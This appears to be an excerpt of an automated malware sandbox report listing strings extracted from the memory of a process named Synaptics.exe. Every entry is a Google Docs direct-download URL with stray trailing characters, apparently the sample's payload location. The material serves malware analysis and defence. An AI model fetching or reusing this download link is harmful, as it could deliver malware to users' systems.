Source: Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3097089201.000000000F3AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762320839.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055C3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095166277.000000000F2AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E289000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadH
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadHD
Source: Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3113635828.000000001DF88000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.0000000005523000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadI
Source: Synaptics.exe, 00000002.00000002.3085464529.0000000005514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadI1
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadIn
Source: Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3097089201.000000000F3AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3094165816.000000000F1C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3084422661.0000000002130000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJ
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJI
Source: Synaptics.exe, 00000002.00000002.3159364233.000000003D65E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762320839.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadK
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadKATAX
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadKE
Source: Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3113635828.000000001DF88000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762320839.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095166277.000000000F2AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E289000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.0000000000865000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1761906600.0000000000869000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadL
Source: Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095166277.000000000F270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadM
Source: Synaptics.exe, 00000002.00000002.3085464529.0000000005514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadM2
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadMK
Source: Synaptics.exe, 00000002.00000003.1762590024.000000000556A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.0000000005523000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadMv
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007E37000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3097089201.000000000F3AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3094165816.000000000F1C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095166277.000000000F270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadN
Source: Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadN$
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadNBQCL
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadNG
Source: Synaptics.exe, 00000002.00000002.3159364233.000000003D65E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadO
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadOC
Source: Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095166277.000000000F2AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E289000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadP
Source: Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1761906600.0000000000869000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQ
Source: Synaptics.exe, 00000002.00000002.3085464529.0000000005514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQ2
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQC
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007E37000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3097089201.000000000F3AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762320839.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055C3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095166277.000000000F270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadR
Source: Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadR$
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadRD
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007EA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadRM
Source: Synaptics.exe, 00000002.00000003.1762590024.000000000556A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.0000000005523000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadRw
Source: Synaptics.exe, 00000002.00000002.3159364233.000000003D65E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3113635828.000000001DF88000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.0000000005523000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadS
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadS.
Source: Synaptics.exe, 00000002.00000002.3115205353.000000001E21A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSe
Source: Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadServ
Source: Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3097089201.000000000F3AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762320839.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055C3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095166277.000000000F2AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E289000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadT
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadTJ
Source: Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.00000000007DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadU
Source: Synaptics.exe, 00000002.00000002.3085464529.0000000005514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadU3
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadUser
Source: Synaptics.exe, 00000002.00000002.3087265366.0000000007E37000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3097089201.000000000F3AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762320839.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095166277.000000000F270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1761906600.0000000000869000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadV
Source: Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadV(
Source: Synaptics.exe, 00000002.00000002.3159364233.000000003D65E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3097089201.000000000F3AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007EA2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadW
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadWK
Source: Synaptics.exe, 00000002.00000002.3116225441.000000001E38E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadWo
Source: Synaptics.exe, 00000002.00000003.1762590024.000000000556A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.0000000005523000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadWv
Source: Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762320839.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055C3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095166277.000000000F2AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E289000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadX
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadXACVaX3o
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadXF
Source: Synaptics.exe, 00000002.00000002.3100064229.000000000F55C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3089159743.0000000007F93000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3113635828.000000001DF88000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1762320839.00000000055B3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.2893915628.000000001E270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.00000000055A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095747278.000000000F31F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1761906600.0000000000869000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadY
Source: Synaptics.exe, 00000002.00000002.3098819999.000000000F43C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadYSPU.
Source: Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3100064229.000000000F4D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3095166277.000000000F270000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3118379520.000000001E4ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZ
Source: Synaptics.exe, 00000002.00000002.3115285247.000000001E2F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZK
Source: Synaptics.exe, 00000002.00000003.1762590024.000000000556A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3085464529.0000000005523000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZv
Source: Synaptics.exe, 00000002.00000002.3159364233.000000003D65E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083960737.0000000000836000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114930199.000000001E0D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3155194154.000000003D448000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3114314694.000000001DFFB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3087265366.0000000007ECE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_
